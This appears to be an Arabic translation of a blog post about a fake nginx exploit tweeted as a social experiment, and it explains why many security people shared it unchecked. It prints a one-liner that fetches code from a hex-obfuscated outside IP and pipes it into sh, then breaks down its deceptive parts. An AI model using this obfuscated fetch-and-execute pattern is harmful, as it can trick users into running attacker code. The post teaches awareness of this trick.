نجاح تجربة اجتماعية باستغلال مزيف لـ nginx

ملحوظة. ترجمة.: مؤلف في المذكرة الأصلية، المنشورة في الأول من يونيو، قررت إجراء تجربة بين المهتمين بأمن المعلومات. وللقيام بذلك، قام بإعداد استغلال مزيف لثغرة أمنية غير معلنة في خادم الويب ونشرها على حسابه على تويتر. إن افتراضاته حول فضح الخبراء على الفور الذين سيرون الغش الواضح في الكود لم تتحقق للتو ... لقد تجاوزت كل التوقعات، وفي الاتجاه المعاكس: تلقت التغريدة دعمًا كبيرًا من العديد من الأشخاص الذين لم يتحققوا من محتوياتها .

نجاح تجربة اجتماعية باستغلال مزيف لـ nginx

TL;DR: لا تستخدم أبدًا خطوط أنابيب الملفات في sh أو bash. هذه طريقة رائعة لفقد السيطرة على جهاز الكمبيوتر الخاص بك.

أريد أن أشارككم قصة صغيرة حول استغلال مزحة لـ PoC تم إنشاؤها في 31 مايو. لقد ظهر على الفور ردًا على الأخبار الواردة من أليسا إيساج شيفتشينكو، عضو مبادرة يوم الصفر (ZDI) أنه سيتم الكشف قريبًا عن ثغرة أمنية في NGINX تؤدي إلى RCE (تنفيذ التعليمات البرمجية عن بعد). نظرًا لوجود NGINX في قلب العديد من مواقع الويب، كان من المفترض أن تكون الأخبار بمثابة قنبلة. ولكن بسبب التأخير في عملية "الإفصاح المسؤول"، لم تكن تفاصيل ما حدث معروفة - وهذا هو الإجراء القياسي لشركة ZDI.

نجاح تجربة اجتماعية باستغلال مزيف لـ nginx
سقسقة حول الكشف عن الثغرات الأمنية في NGINX

بعد الانتهاء من العمل على تقنية التشويش الجديدة في Curl، اقتبست التغريدة الأصلية و"سربت إثبات مفهوم فعال" يتكون من سطر واحد من التعليمات البرمجية، من المفترض أنه يستغل الثغرة المكتشفة. وبطبيعة الحال، كان محض هراء. اعتقدت أنه سيتم نقلي على الفور إلى المياه النظيفة، وأنه في أحسن الأحوال، سأحصل على بضع تغريدات (حسنا، حسنا).

نجاح تجربة اجتماعية باستغلال مزيف لـ nginx
سقسقة مع استغلال وهمية

ومع ذلك، لم أستطع أن أتخيل ما حدث بعد ذلك. ارتفعت شعبية تغريداتي بشكل كبير. من المثير للدهشة أنه في الوقت الحالي (15:00 بتوقيت موسكو يوم 1 يونيو) أدرك عدد قليل من الناس أن هذا مزيف. يقوم الكثيرون بإعادة تغريدها دون التحقق منها على الإطلاق (ناهيك عن الإعجاب برسومات ASCII الرائعة التي تعرضها).

نجاح تجربة اجتماعية باستغلال مزيف لـ nginx
فقط انظر كم هو جميل!

على الرغم من أن كل هذه الدورات والألوان رائعة، فمن المفهوم أن الأشخاص كانوا ينفذون تعليمات برمجية على أجهزتهم لرؤيتها. لحسن الحظ، تعمل المتصفحات بنفس الطريقة، ومع حقيقة أنني لا أريد أن أقع في مشكلة مع القانون، فإن الكود المخفي في موقعي أجرى مكالمات صدى دون محاولة تثبيت أو تنفيذ أي كود إضافي.

استطرادية صغيرة: netspooky, DNZوأنا وأعضاء آخرين من الفريق Thugcrowd لقد كنا نلعب بتشويش الضفيرة منذ فترة لأنها ممتعة... ونحن مهووسون. لقد اكتشف netsooky وdnz عدة طرق جديدة أجدها واعدة للغاية. لقد انضممت إلى المرح وحاولت إضافة تحويلات IP العشرية إلى الحيل. اتضح أنه يمكن أيضًا تحويل IP إلى تنسيق سداسي عشري. علاوة على ذلك، فإن أدوات Curl ومعظم أدوات NIX الأخرى سعيدة بتناول عناوين IP السداسية! وبالتالي، كان المطلب ببساطة هو إنشاء سطر أوامر مقنع وآمن المظهر. في النهاية استقريت على هذا:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

الهندسة الإلكترونية الاجتماعية (SEE) - أكثر من مجرد تصيد احتيالي

كانت السلامة والألفة جزءًا رئيسيًا من هذه التجربة. أعتقد أنهم هم الذين أدى إلى نجاحه. يشير سطر الأوامر بوضوح إلى الأمان، مشيرًا إلى "127.0.0.1" (المضيف المحلي المعروف). من المعتقد أن المضيف المحلي آمن، وأن البيانات الموجودة عليه لا تترك جهاز الكمبيوتر الخاص بك أبدًا.

كان التعود هو المكون الرئيسي الثاني لـ SEE في التجربة. نظرًا لأن الجمهور المستهدف كان يتكون في الغالب من أشخاص على دراية بأساسيات أمان الكمبيوتر، كان من المهم إنشاء مثل هذا الكود بحيث تبدو أجزاء منه مألوفة ومألوفة (وبالتالي آمنة). لقد كان استعارة عناصر من مفاهيم الاستغلال القديمة والجمع بينها بطريقة غير عادية ناجحًا للغاية.

فيما يلي تفصيل تفصيلي للبطانة الواحدة. كل شيء في هذه القائمة هو مستحضرات التجميل، ولعملها الحقيقي لا يتطلب الأمر أي شيء تقريبًا.

ما هي المكونات المطلوبة حقا؟ هذا -gsS, -O 0x0238f06a, |sh وخادم الويب نفسه. لم يحتوي خادم الويب على أي تعليمات ضارة، ولكنه قام ببساطة بتمرير رسومات ASCII باستخدام الأوامر echo في البرنامج النصي الموجود في index.html. عندما يقوم المستخدم بإدخال سلسلة مع |sh في المنتصف، index.html تحميل وتنفيذ. لحسن الحظ، لم يكن لدى حراس خادم الويب أي نية خبيثة.

  • ../../../%00 - يصور تجاوز الدليل؛
  • ngx_stream_module.so - المسار إلى وحدة NGINX العشوائية؛
  • /bin/sh%00<'protocol:TCP' - من المفترض أننا نطلق /bin/sh على الجهاز الهدف وإعادة توجيه الإخراج إلى قناة TCP؛
  • -O 0x0238f06a#PLToffset - تمت إضافة العنصر السري #PLToffsetلتبدو وكأنها إزاحة ذاكرة موجودة بطريقة أو بأخرى في معاهدة قانون البراءات؛
  • |sh; هي قطعة أخرى مهمة. كنا بحاجة إلى إعادة توجيه الإخراج إلى sh/bash من أجل تنفيذ التعليمات البرمجية القادمة من خادم الويب المهاجم الموجود في 0x0238f06a (2.56.240.x);
  • nc /dev/tcp/localhost - دمية يشير إليها netcat /dev/tcp/localhostلجعل كل شيء يبدو آمنًا مرة أخرى. في الواقع، لا يفعل شيئًا ويتم تضمينه في خط الجمال.

وبهذا ينتهي فك تشفير النص المكون من سطر واحد ومناقشة جوانب "الهندسة الاجتماعية الإلكترونية" (التصيد الاحتيالي).

تكوين خادم الويب والتدابير المضادة

نظرًا لأن الغالبية العظمى من المشتركين لدي هم من المتسللين/آمني المعلومات، فقد قررت أن أجعل خادم الويب أكثر مقاومة لمظاهر "الاهتمام" منهم، فقط حتى يكون لدى الرجال ما يفعلونه (وكان من الممتع ضبطه أعلى). لن أقوم بإدراج جميع الأخطاء هنا لأن التجربة لا تزال مستمرة، ولكن إليك بعض الأشياء التي يقوم بها الخادم:

  • يراقب بشكل نشط محاولات التوزيع على شبكات اجتماعية معينة ويستبدل الصور المصغرة المختلفة للمعاينة لتشجيع المستخدم على النقر على الرابط.
  • يعيد توجيه Chrome/Mozilla/Safari/etc إلى عرض Thugcrowd الترويجي بدلاً من عرض برنامج نصي Shell.
  • يبحث عن علامات واضحة للتطفل/القرصنة العنيفة ثم يبدأ في إعادة توجيه الطلبات إلى خوادم وكالة الأمن القومي (ها!).
  • يقوم بتثبيت حصان طروادة وجذور BIOS على جميع أجهزة الكمبيوتر التي يزور مستخدموها المضيف باستخدام متصفح عادي (فقط أمزح!).

نجاح تجربة اجتماعية باستغلال مزيف لـ nginx
جزء صغير من المضادات

في هذه الحالة، كان هدفي الوحيد هو معرفة بعض ميزات Apache - على وجه الخصوص، قواعد إعادة توجيه الطلب الرائعة - وفكرت، لماذا لا؟

استغلال NGINX (حقيقي!)

اشترك في @alisaesage على Twitter وتابع عمل ZDI المذهل في إصلاح نقاط الضعف الحقيقية واستغلال الفرص في NGINX. لقد أذهلني عملهم دائمًا وأنا ممتن لأليس على صبرها مع كل الإشارات والإشعارات التي سببتها تغريدتي الغبية. ولحسن الحظ، فقد كان له بعض الخير أيضًا: فقد ساعد في رفع مستوى الوعي حول نقاط ضعف NGINX بالإضافة إلى المشكلات الناجمة عن سوء استخدام حليقة.

المصدر: www.habr.com

إضافة تعليق